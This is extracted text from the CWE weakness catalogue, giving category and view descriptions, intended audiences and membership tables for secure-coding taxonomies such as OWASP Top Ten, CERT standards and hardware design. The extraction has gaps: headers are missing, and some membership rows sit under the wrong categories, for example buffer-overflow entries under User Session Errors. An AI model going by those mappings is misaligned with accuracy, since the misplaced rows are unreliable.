HasMember	B	447	Unimplemented or Unsupported Feature in UI	888	956
HasMember	B	448	Obsolete Feature in UI	888	957
HasMember	B	449	The UI Performs the Wrong Action	888	958
HasMember	B	450	Multiple Interpretations of UI Input	888	959

## Category-1005: 7PK - Input Validation and Representation

Category ID : 1005

Status: Draft

### Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that exist when an application does not properly validate or represent input. According to the authors of the Seven Pernicious Kingdoms, "Input validation and representation problems are caused by metacharacters, alternate encodings and numeric representations. Security problems result from trusting input."

### Membership

## Category-1006: Bad Coding Practices

Category ID : 1006

Status: Draft

### Summary

Weaknesses in this category are related to coding practices that are deemed unsafe and increase the chances that an exploitable vulnerability will be present in the application. These weaknesses do not directly introduce a vulnerability, but indicate that the product has not been carefully developed or maintained. If a program is complex, difficult to maintain, not portable, or shows evidence of neglect, then there is a higher likelihood that weaknesses are buried in the code.

Category ID : 1009

Status: Draft

### Summary

Weaknesses in this category are related to the design and architecture of audit-based components of the system. Frequently these deal with logging user activities in order to identify attackers and modifications to the system. The weaknesses in this category could lead to a degradation of the quality of the audit capability if they are not addressed when designing or implementing a secure architecture.

## Category-1010: Authenticate Actors

Category ID : 1010

Status: Draft

### Summary

Weaknesses in this category are related to the design and architecture of authentication components of the system. Frequently these deal with verifying the entity is indeed who it claims to be. The weaknesses in this category could lead to a degradation of the quality of authentication if they are not addressed when designing or implementing a secure architecture.

## Category-1011: Authorize Actors

Category ID : 1011

Status: Draft

### Summary

Weaknesses in this category are related to the design and architecture of a system's authorization components. Frequently these deal with enforcing that agents have the required permissions before performing certain operations, such as modifying data. The weaknesses in this category could lead to a degradation of quality of the authorization capability if they are not addressed when designing or implementing a secure architecture.

## Category-1012: Cross Cutting

Category ID : 1012

Status: Draft

## Summary

Weaknesses in this category are related to the design and architecture of multiple security tactics and how they affect a system. For example, information exposure can impact the Limit Access and Limit Exposure security tactics. The weaknesses in this category could lead to a degradation of the quality of many capabilities if they are not addressed when designing or implementing a secure architecture.

## Category-1013: Encrypt Data

Category ID : 1013

Status: Draft

## Summary

Weaknesses in this category are related to the design and architecture of data confidentiality in a system. Frequently these deal with the use of encryption libraries. The weaknesses in this category could lead to a degradation of the quality data encryption if they are not addressed when designing or implementing a secure architecture.

## Category-1014: Identify Actors

Category ID : 1014

Status: Draft

## Summary

Weaknesses in this category are related to the design and architecture of a system's identification management components. Frequently these deal with verifying that external agents provide inputs into the system. The weaknesses in this category could lead to a degradation of the quality of identification management if they are not addressed when designing or implementing a secure architecture.

## Category-1015: Limit Access

Category ID : 1015

Status: Draft

## Summary

Weaknesses in this category are related to the design and architecture of system resources. Frequently these deal with restricting the amount of resources that are accessed by actors, such as memory, network connections, CPU or access points. The weaknesses in this category could lead to a degradation of the quality of authentication if they are not addressed when designing or implementing a secure architecture.

**Category-1016: Limit Exposure**

**Category ID :** 1016 **Status:** Draft

**Summary**

Weaknesses in this category are related to the design and architecture of the entry points to a system. Frequently these deal with minimizing the attack surface through designing the system with the least needed amount of entry points. The weaknesses in this category could lead to a degradation of a system's defenses if they are not addressed when designing or implementing a secure architecture.

**Category-1017: Lock Computer**

**Category ID :** 1017 **Status:** Draft

**Summary**

Weaknesses in this category are related to the design and architecture of a system's lockout mechanism. Frequently these deal with scenarios that take effect in case of multiple failed attempts

to access a given resource. The weaknesses in this category could lead to a degradation of access to system assets if they are not addressed when designing or implementing a secure architecture.

## Category-1018: Manage User Sessions

Category ID : 1018

Status: Draft

### Summary

Weaknesses in this category are related to the design and architecture of session management. Frequently these deal with the information or status about each user and their access rights for the duration of multiple requests. The weaknesses in this category could lead to a degradation of the quality of session management if they are not addressed when designing or implementing a secure architecture.

## Category-1019: Validate Inputs

Category ID : 1019

Status: Draft

## Summary

Weaknesses in this category are related to the design and architecture of a system's input validation components. Frequently these deal with sanitizing, neutralizing and validating any externally provided inputs to minimize malformed data from entering the system and preventing code injection in the input data. The weaknesses in this category could lead to a degradation of the quality of data flow in a system if they are not addressed when designing or implementing a secure architecture.

## Category-1020: Verify Message Integrity

Category ID : 1020

Status: Draft

## Summary

Weaknesses in this category are related to the design and architecture of a system's data integrity components. Frequently these deal with ensuring integrity of data, such as messages, resource files, deployment files, and configuration files. The weaknesses in this category could lead to a degradation of data integrity quality if they are not addressed when designing or implementing a secure architecture.

## Category-1029: OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure

Category ID : 1029

Status: Incomplete

### Summary

Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2017.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	1976
HasMember	V	220	Storage of File With Sensitive Data Under FTP Root	1026	510
HasMember	B	295	Improper Certificate Validation	1026	647
HasMember	G	311	Missing Encryption of Sensitive Data	1026	685
HasMember	B	312	Cleartext Storage of Sensitive Information	1026	691
HasMember	B	319	Cleartext Transmission of Sensitive Information	1026	704
HasMember	C	320	Key Management Errors	1026	1787
HasMember	B	325	Missing Required Cryptographic Step	1026	715
HasMember	G	326	Inadequate Encryption Strength	1026	717
HasMember	G	327	Use of a Broken or Risky Cryptographic Algorithm	1026	719
HasMember	B	328	Reversible One-Way Hash	1026	724
HasMember	B	359	Exposure of Private Personal Information to an Unauthorized Actor	1026	786

## Category-1032: OWASP Top Ten 2017 Category A6 - Security Misconfiguration

Category ID : 1032

Status: Incomplete

### Summary

Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2017.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	1976
HasMember	C	16	Configuration	1026	1777
HasMember	B	209	Generation of Error Message Containing Sensitive Information	1026	489
HasMember	V	548	Exposure of Information Through Directory Listing	1026	1119

### Notes

#### Relationship

While the OWASP document maps to CWE-2 and CWE-388, these are not appropriate for mapping, as they are high-level categories that are only intended for the Seven Pernicious Kingdoms view (CWE-700).

### References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < [https://owasp.org/www-pdf-archive/OWASP\\_Top\\_10-2017\\_%28en%29.pdf.pdf](https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf) >.

## Category-1033: OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS)

Category ID : 1033

Status: Incomplete

### Summary

Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2017.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	1026	1976
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	1026	151

### References

## Category-1035: OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities

Category ID : 1035

Status: Incomplete

### Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2017.

### Membership

Nature	Type	ID	Name		Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	V	1026 1976

### Notes

#### Relationship

This is an unusual category. CWE does not cover the limitations of human processes and procedures that cannot be described in terms of a specific technical weakness as resident in the code, architecture, or configuration of the software. Since "known vulnerabilities" can arise from any kind of weakness, it is not possible to map this OWASP category to other CWE entries, since it would effectively require mapping this category to ALL weaknesses.

### References

[REF-957]"Top 10 2017". 2017 April 2. OWASP. < [https://owasp.org/www-pdf-archive/OWASP\\_Top\\_10-2017\\_%28en%29.pdf.pdf](https://owasp.org/www-pdf-archive/OWASP_Top_10-2017_%28en%29.pdf.pdf) >.

## Category-1036: OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring

Category ID : 1036

Status: Incomplete

### Summary

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2017.

### Membership

Nature	Type	ID	Name		Page
MemberOf	V	1026	Weaknesses in OWASP Top Ten (2017)	V	1026 1976

HasMember	B	1248	Semiconductor Defects in Hardware Logic with Security-Sensitive Implications		1194 1768

## Category-1196: Security Flow Issues

Category ID : 1196 Status: Draft

### Summary

Weaknesses in this category are related to improper design of full-system security flows, including but not limited to secure boot, secure update, and hardware-device attestation.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design		1194 1983
HasMember	B	1190	DMA Device Enabled Too Early in Boot Phase		1194 1723
HasMember	B	1193	Power-On of Untrusted Execution Core Before Enabling Fabric Access Control		1194 1727

## Category-1197: Integration Issues

Category ID : 1197 Status: Draft

### Summary

Weaknesses in this category are those that arise due to integration of multiple hardware Intellectual Property (IP) cores from third parties, or from the prior generation of products into a common System-on-Chip (SoC) or hardware platform.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design		1194 1983

## Category-1198: Privilege Separation and Access Control Issues

Category ID : 1198 Status: Draft

### Summary

Weaknesses in this category are related to features and mechanisms providing hardware-based isolation and access control (e.g., identity, policy, locking control) of sensitive shared hardware resources such as registers and fuses.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design		1194 1983

Nature	Type	ID	Name	V	Page
HasMember	B	1220	Insufficient Granularity of Access Control	1194	1730
HasMember	B	1242	Inclusion of Undocumented Features or Chicken Bits	1194	1757

## Category-1199: General Circuit and Logic Design Concerns

Category ID : 1199

Status: Draft

### Summary

Weaknesses in this category are related to hardware-circuit design and logic (e.g., CMOS transistors, finite state machines, and registers) as well as issues related to hardware description languages such as System Verilog and VHDL.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	1983
HasMember	B	1209	Failure to Disable Reserved Bits	1194	1728

HasMember	B	1245	Improper Finite State Machines (FSMs) in Hardware Logic	1194	1762

## Category-1201: Core and Compute Issues

Category ID : 1201

Status: Draft

### Summary

Weaknesses in this category are typically associated with CPUs, Graphics, Vision, AI, FPGA, and microcontrollers.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	1983
HasMember	B	1252	CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations	1194	1775

## Category-1202: Memory and Storage Issues

Category ID : 1202

Status: Draft

### Summary

Weaknesses in this category are typically associated with memory (e.g., DRAM, SRAM) and storage technologies (e.g., NAND Flash, OTP, EEPROM, and eMMC).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	1983

HasMember	B	1251	Mirrored Regions with Different Values	1194	1773

## Category-1203: Peripherals, On-chip Fabric, and Interface/IO Problems

Category ID : 1203

Status: Draft

### Summary

Weaknesses in this category are related to hardware security problems that apply to peripheral devices, IO interfaces, on-chip interconnects, network-on-chip (NoC), and buses. For example, this category includes issues related to design of hardware interconnect and/or protocols such as PCIe, USB, SMBUS, general-purpose IO pins, and user-input peripherals such as mouse and keyboard.

## Category-1205: Security Primitives and Cryptography Issues

Category ID : 1205

Status: Draft

### Summary

Weaknesses in this category are related to hardware implementations of cryptographic protocols and other hardware-security primitives such as physical unclonable functions (PUFs) and random number generators (RNGs).

### Membership

Nature	Type	ID	Name	V	Page

HasMember	B	1241	Use of Predictable Algorithm in Random Number Generator	1194	1756

## Category-1206: Power, Clock, and Reset Concerns

Category ID : 1206

Status: Draft

### Summary

Weaknesses in this category are related to system power, voltage, current, temperature, clocks, system state saving/restoring, and resets at the platform and SoC level.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1194	Hardware Design	1194	1983

## Category-1210: Audit / Logging Errors

Category ID : 1210

Status: Draft

### Summary

Weaknesses in this category are related to audit-based components of a software system. Frequently these deal with logging user activities in order to identify undesired access and modifications to the system. The weaknesses in this category could lead to a degradation of the quality of the audit capability if they are not addressed.

### Membership

Nature	Type	ID	Name	V	Page

HasMember	B	779	Logging of Excessive Data	699	1443

## Category-1211: Authentication Errors

Category ID : 1211

Status: Draft

### Summary

Weaknesses in this category are related to authentication components of a system. Frequently these deal with the ability to verify that an entity is indeed who it claims to be. If not addressed when designing or implementing a software system, these weaknesses could lead to a degradation of the quality of the authentication capability.

### Membership

HasMember	B	836	Use of Password Hash Instead of Password for Authentication	699	1545

## Category-1212: Authorization Errors

Category ID : 1212

Status: Draft

### Summary

Weaknesses in this category are related to authorization components of a system. Frequently these deal with the ability to enforce that agents have the required permissions before performing certain operations, such as modifying data. If not addressed when designing or implementing a software system, these weaknesses could lead to a degradation of the quality of the authorization capability.

HasMember	B	1241	Use of Predictable Algorithm in Random Number Generator	699	1756

## Category-1214: Data Integrity Issues

Category ID : 1214

Status: Draft

### Summary

Weaknesses in this category are related to a software system's data integrity components. Frequently these deal with the ability to ensure the integrity of data, such as messages, resource files, deployment files, and configuration files. The weaknesses in this category could lead to a degradation of data integrity quality if they are not addressed.

HasMember	B	924	Improper Enforcement of Message Integrity During Transmission in a Communication Channel	699	1601

## Category-1215: Input Validation Issues

Category ID : 1215

Status: Draft

### Summary

Weaknesses in this category are related to a software system's input validation components. Frequently these deal with sanitizing, neutralizing and validating any externally provided inputs to minimize malformed data from entering the system and preventing code injection in the input data. The weaknesses in this category could lead to a degradation of the quality of data flow in a system if they are not addressed.

HasMember	B	1173	Improper Use of Validation Framework	699	1718

## Category-1216: Lockout Mechanism Errors

Category ID : 1216 Status: Draft

### Summary

Weaknesses in this category are related to a software system's lockout mechanism. Frequently these deal with scenarios that take effect in case of multiple failed attempts to access a given resource. The weaknesses in this category could lead to a degradation of access to system assets if they are not addressed.

### Membership

Nature	Type	ID	Name	V	Page

## Category-1217: User Session Errors

Category ID : 1217 Status: Draft

### Summary

Weaknesses in this category are related to session management. Frequently these deal with the information or status about each user and their access rights for the duration of multiple requests. The weaknesses in this category could lead to a degradation of the quality of session management if they are not addressed.

### Membership

Nature	Type	ID	Name	V	Page

HasMember	B	787	Out-of-bounds Write	699	1460
HasMember	B	788	Access of Memory Location After End of Buffer	699	1466
HasMember	B	805	Buffer Access with Incorrect Length Value	699	1493

**Category-1219: File Handling Issues**

Category ID : 1219

Status: Draft

**Summary**

Weaknesses in this category are related to the handling of files within a software system. Files, directories, and folders are so central to information technology that many different weaknesses and variants have been discovered.

**Membership**

Nature	Type	ID	Name	V	Page

### View-629: Weaknesses in OWASP Top Ten (2007)

View ID : 629

Status: Obsolete

Type : Graph

### Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2007. This view is considered obsolete as a newer version of the OWASP Top Ten is available.

### Audience

## Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing a good starting point for web application developers who want to code more securely.

## Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

## Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

HasMember	<b>C</b>	721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access	1802

## Notes

### Relationship

The relationships in this view are a direct extraction of the CWE mappings that are in the 2007 OWASP document. CWE has changed since the release of that document.

## References

## View-635: Weaknesses Originally Used by NVD from 2008 to 2016

View ID : 635

Status: Obsolete

Type : Explicit

## Objective

CWE nodes in this view (slice) were used by NIST to categorize vulnerabilities within NVD, from 2008 to 2016. This original version has been used by many other projects.

## Membership

Nature	Type	ID	Name	Page
HasMember		16	Configuration	1777

HasMember		362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	791
HasMember		399	Resource Management Errors	1792

## Notes

### Maintenance

This view is effectively obsolete, although it is probably still in active use by CWE consumers. In Summer 2007, NIST began using this set of CWE elements to classify CVE entries within the National Vulnerability Database (NVD). The data was made publicly available beginning in 2008. In 2016, NIST began using a different list as derived from the "Weaknesses for Simplified Mapping of Published Vulnerabilities" view (CWE-1003).

## View-699: Software Development

View ID : 699 Status: Draft  
Type : Graph

### Objective

This view organizes weaknesses around concepts that are frequently used or encountered in software development. This includes all aspects of the software development lifecycle including both architecture and implementation. Accordingly, this view can align closely with the perspectives of architects, developers, educators, and assessment vendors. It provides a variety of categories that are intended to simplify navigation, browsing, and mapping.

### Audience

#### Software Developers

Software developers (including architects, designers, coders, and testers) use this view to better understand potential mistakes that can be made in specific areas of their software application. The use of concepts that developers are familiar with makes it easier to navigate this view, and filtering by Modes of Introduction can enable focus on a specific phase of the development lifecycle.

#### Educators

Educators use this view to teach future developers about the types of mistakes that are commonly made within specific parts of a codebase.

## Notes

### Other

The top level categories in this view represent commonly understood areas/terms within software development, and are meant to aid the user in identifying potential related weaknesses. It is possible for the same weakness to exist within multiple different categories.

### Other

This view attempts to present weaknesses in a simple and intuitive way. As such it targets a single level of abstraction. It is important to realize that not every CWE will be represented in this view. High-level class weaknesses and low-level variant weaknesses are mostly ignored. However, by

exploring the weaknesses that are included, and following the defined relationships, one can find these higher and lower level weaknesses.

## View-700: Seven Pernicious Kingdoms

View ID : 700

Status: Incomplete

Type : Graph

### Objective

This view (graph) organizes weaknesses using a hierarchical structure that is similar to that used by Seven Pernicious Kingdoms.

### Audience

#### Software Developers

This view is useful for developers because it is organized around concepts with which developers are familiar, and it focuses on weaknesses that can be detected using source code analysis tools.

### Membership

Nature	Type	ID	Name	Page
HasMember		2	7PK - Environment	1777
HasMember		227	7PK - API Abuse	1782

## View-711: Weaknesses in OWASP Top Ten (2004)

View ID : 711

Status: Obsolete

Type : Graph

### Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2004, and as required for compliance with PCI DSS version 1.1. This view is considered obsolete as a newer version of the OWASP Top Ten is available.

### Audience

#### Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2004 version), providing a good starting point for web application developers who want to code more securely, as well as complying with PCI DSS 1.1.

#### Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten, providing customers with a way of asking their software developers to follow minimum expectations for secure code, in compliance with PCI-DSS 1.1.

#### Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students. However, the 2007 version (CWE-629) might be more appropriate.

## Membership

Nature	Type	ID	Name	Page
HasMember		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	1808

## Notes

### Relationship

CWE relationships for this view were obtained by examining the OWASP document and mapping to any items that were specifically mentioned within the text of a category. As a result, this mapping is not complete with respect to all of CWE. In addition, some concepts were mentioned in multiple Top Ten items, which caused them to be mapped to multiple CWE categories. For example, SQL injection is mentioned in both A1 (CWE-722) and A6 (CWE-727) categories.

### Maintenance

Some parts of CWE are not fully fleshed out in terms of weaknesses. When these areas were mentioned in the Top Ten, category nodes were mapped, although general mapping practice would usually favor mapping only to weaknesses.

## View-734: Weaknesses Addressed by the CERT C Secure Coding Standard (2008)

View ID : 734

Status: Obsolete

Type : Graph

### Objective

CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the book "The CERT C Secure Coding Standard" published in 2008. This view is considered obsolete as a newer version of the coding standard is available.

### Audience

#### Software Developers

By following the CERT C Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

#### Product Customers

If a software developer claims to be following the CERT C Secure Coding standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

#### Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

HasMember	<span style="color: red;">C</span>	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	1820

## Notes

### Relationship

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

### Maintenance

This view is no longer being actively maintained, since it statically represents the coding rules as they were in 2008.

## View-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors

View ID : 750

Status: Obsolete

Type : Graph

### Objective

CWE entries in this view (graph) are listed in the 2009 CWE/SANS Top 25 Programming Errors. This view is considered obsolete as a newer version of the Top 25 is available.

### Audience

#### Software Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

#### Product Customers

If a software developer claims to be following the Top 25, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

#### Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

## Notes

### Relationship

The relationships in this view are a direct extraction of the CWE mappings that are in the 2010 OWASP document. CWE has changed since the release of that document.

## View-844: Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)

View ID : 844

Status: Obsolete

Type : Graph

## Objective

CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the book "The CERT Oracle Secure Coding Standard for Java" published in 2011. This view is considered obsolete as a newer version of the coding standard is available.

## Audience

### Software Developers

By following The CERT Oracle Secure Coding Standard for Java, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the

standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

### Product Customers

If a software developer claims to be following The CERT Oracle Secure Coding Standard for Java, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

### Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

HasMember		861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	1838

### Notes

#### Relationship

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

## View-868: Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)

View ID : 868

Status: Obsolete

Type : Graph

### Objective

CWE entries in this view (graph) are fully or partially eliminated by following the SEI CERT C++ Coding Standard, as published in 2016.

### Audience

#### Software Developers

By following the CERT C++ Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

#### Product Customers

If a software developer claims to be following the CERT C++ Secure Coding Standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

#### Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

## Notes

### Relationship

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

### Maintenance

This view is no longer being actively maintained, since it statically represents the coding rules as they were in 2016.

## View-884: CWE Cross-section

View ID : 884

Status: Incomplete

Type : Explicit

## Objective

This view contains a selection of weaknesses that represent the variety of weaknesses that are captured in CWE, at a level of abstraction that is likely to be useful to most audiences. It can be used by researchers to determine how broad their theories, models, or tools are. It will also be used by the CWE content team in 2012 to focus quality improvement efforts for individual CWE entries.

## View-900: Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors

View ID : 900

Status: Obsolete

Type : Graph

### Objective

CWE entries in this view (graph) are listed in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

### Audience

#### Software Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

## Product Customers

If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.

## Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

## View-928: Weaknesses in OWASP Top Ten (2013)

View ID : 928

Status: Obsolete

Type : Graph

### Objective

1970

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2013. This view is considered obsolete as a newer version of the OWASP Top Ten is available.

## Audience

### Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2013 version), providing a good starting point for web application developers who want to code more securely.

### Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2013 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

### Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

## View-999: Weaknesses without Software Fault Patterns

View ID : 999

Status: Incomplete

Type : Implicit

### Objective

CWE identifiers in this view are weaknesses that do not have associated Software Fault Patterns (SFPs), as covered by the CWE-888 view. As such, they represent gaps in coverage by the current software fault pattern model.

### Audience

**Applied Researchers**

**Academic Researchers**

**Product Vendors**

### Filter

```
/Weakness_Catalog/Weaknesses/Weakness[not(./Taxonomy_Mappings/Taxonomy_Mapping/
@Taxonomy_Name='Software Fault Patterns')][not(@Status='Deprecated')]
```

## View-1000: Research Concepts

View ID : 1000

Status: Draft

Type : Graph

### Objective

This view is intended to facilitate research into weaknesses, including their inter-dependencies, and can be leveraged to systematically identify theoretical gaps within CWE. It is mainly organized according to abstractions of behaviors instead of how they can be detected, where they appear in code, and when they are introduced in the development life cycle.

### Audience

**Academic Researchers**

Academic researchers can use the high-level classes that lack a significant number of children to identify potential areas for future research.

**Vulnerability Analysts**

Those who perform vulnerability discovery/analysis use this view to identify related weaknesses that might be leveraged by following relationships between higher-level classes and bases.

## Assessment Tool Vendors

Assessment vendors often use this view to help identify additional weaknesses that a tool may be able to detect as the relationships are more aligned with a tool's technical capabilities.

### Membership

Nature	Type	ID	Name	Page
HasMember	P	284	Improper Access Control	618
HasMember	P	435	Improper Interaction Between Multiple Correctly-Behaving Entities	941
HasMember	P	664	Improper Control of a Resource Through its Lifetime	1288

HasMember	P	691	Insufficient Control Flow Management	1338
HasMember	P	693	Protection Mechanism Failure	1341
HasMember	P	697	Incorrect Comparison	1346
HasMember	P	703	Improper Check or Handling of Exceptional Conditions	1352
HasMember	P	707	Improper Neutralization	1358
HasMember	P	710	Improper Adherence to Coding Standards	1362

### Notes

#### Other

This view uses a deep hierarchical organization, with more levels of abstraction than other classification schemes. The top-level entries are called Pillars. Where possible, this view uses abstractions that do not consider particular languages, frameworks, technologies, life cycle development phases, frequency of occurrence, or types of resources. It explicitly identifies relationships that form chains and composites, which have not been a formal part of past classification efforts. Chains and composites might help explain why mutual exclusivity is difficult to achieve within security error taxonomies. This view is roughly aligned with MITRE's research into vulnerability theory, especially with respect to behaviors and resources. Ideally, this view will only cover weakness-to-weakness relationships, with minimal overlap and zero categories.

### Metrics

## View-1003: Weaknesses for Simplified Mapping of Published Vulnerabilities

View ID : 1003

Status: Incomplete

Type : Graph

### Objective

CWE entries in this view (graph) may be used to categorize potential weaknesses within sources that handle public, third-party vulnerability information, such as the National Vulnerability Database (NVD). By design, this view is incomplete; it is limited to a small number of the most commonly-seen weaknesses, so that it is easier for humans to use. This view uses a shallow hierarchy of two levels in order to simplify the complex, category-oriented navigation of the entire CWE corpus.

## View-1008: Architectural Concepts

**View ID :** 1008

**Status:** Incomplete

**Type :** Graph

### Objective

This view organizes weaknesses according to common architectural security tactics. It is intended to assist architects in identifying potential mistakes that can be made when designing software.

### Audience

#### Software Developers

Architects that are part of a software development team may find this view useful as the weaknesses are organized by known security tactics, aiding the architect in embedding security throughout the design process instead of discovering weaknesses after the software has been built.

#### Educators

Educators may use this view as reference material when discussing security by design or architectural weaknesses, and the types of mistakes that can be made.

### Membership

Nature	Type	ID	Name	Page
HasMember		1009	Audit	1891
HasMember		1010	Authenticate Actors	1892

HasMember		1018	Manage User Sessions	1900
HasMember		1019	Validate Inputs	1900
HasMember		1020	Verify Message Integrity	1902

### Notes

#### Other

The top level categories in this view represent the individual tactics that are part of a secure-by-design approach to software development. The weaknesses that are members of each category contain information about how each is introduced relative to the software's architecture. Three different modes of introduction are used: Omission - caused by missing a security tactic when it is necessary. Commission - refers to incorrect choice of tactics which could result in undesirable consequences. Realization - appropriate security tactics are adopted but are incorrectly implemented.

## View-1040: Quality Weaknesses with Indirect Security Impacts

**View ID :** 1040

**Status:** Incomplete

**Type :** Implicit

## Objective

CWE identifiers in this view (slice) are quality issues that only indirectly make it easier to introduce a vulnerability and/or make the vulnerability more difficult to detect or mitigate.

## Audience

### Assessment Tool Vendors

This view makes it easier for assessment vendors to identify and improve coverage for quality-related weaknesses.

### Software Developers

This view makes it easier for developers to identify and learn about issues that might make their code more difficult to maintain, perform efficiently or reliably, or secure.

### Product Vendors

This view makes it easier for software vendors to identify important issues that may make their software more difficult to maintain, perform efficiently or reliably, or secure.

## View-1128: CISQ Quality Measures (2016)

View ID : 1128

Status: Incomplete

Type : Graph

### Objective

This view outlines the most important software quality issues as identified by the Consortium for Information & Software Quality (CISQ) Automated Quality Characteristic Measures, released in 2016. These measures are derived from Object Management Group (OMG) standards.

### Audience

#### Software Developers

This view provides a good starting point for anyone involved in software development (including architects, designers, coders, and testers) to ensure that code quality issues are considered during the development process.

#### Product Vendors

This view can help product vendors understand code quality issues and convey an overall status of their software.

#### Assessment Tool Vendors

This view provides a good starting point for assessment tool vendors (e.g., vendors selling static analysis tools) who wish to understand what constitutes software with good code quality, and which quality issues may be of concern.

## View-1133: Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java

View ID : 1133

Status: Stable

1978

Type : Graph

## Objective

CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the online wiki that reflects that current rules and recommendations of the SEI CERT Oracle Coding Standard for Java.

## Audience

### Software Developers

By following the SEI CERT Oracle Coding Standard for Java, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

### Product Customers

If a software developer claims to be following the SEI CERT Oracle Secure Coding Standard for Java, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

### Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

**Notes**

## Relationship

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

## View-1194: Hardware Design

**View ID :** 1194

**Status:** Incomplete

**Type :** Graph

## Objective

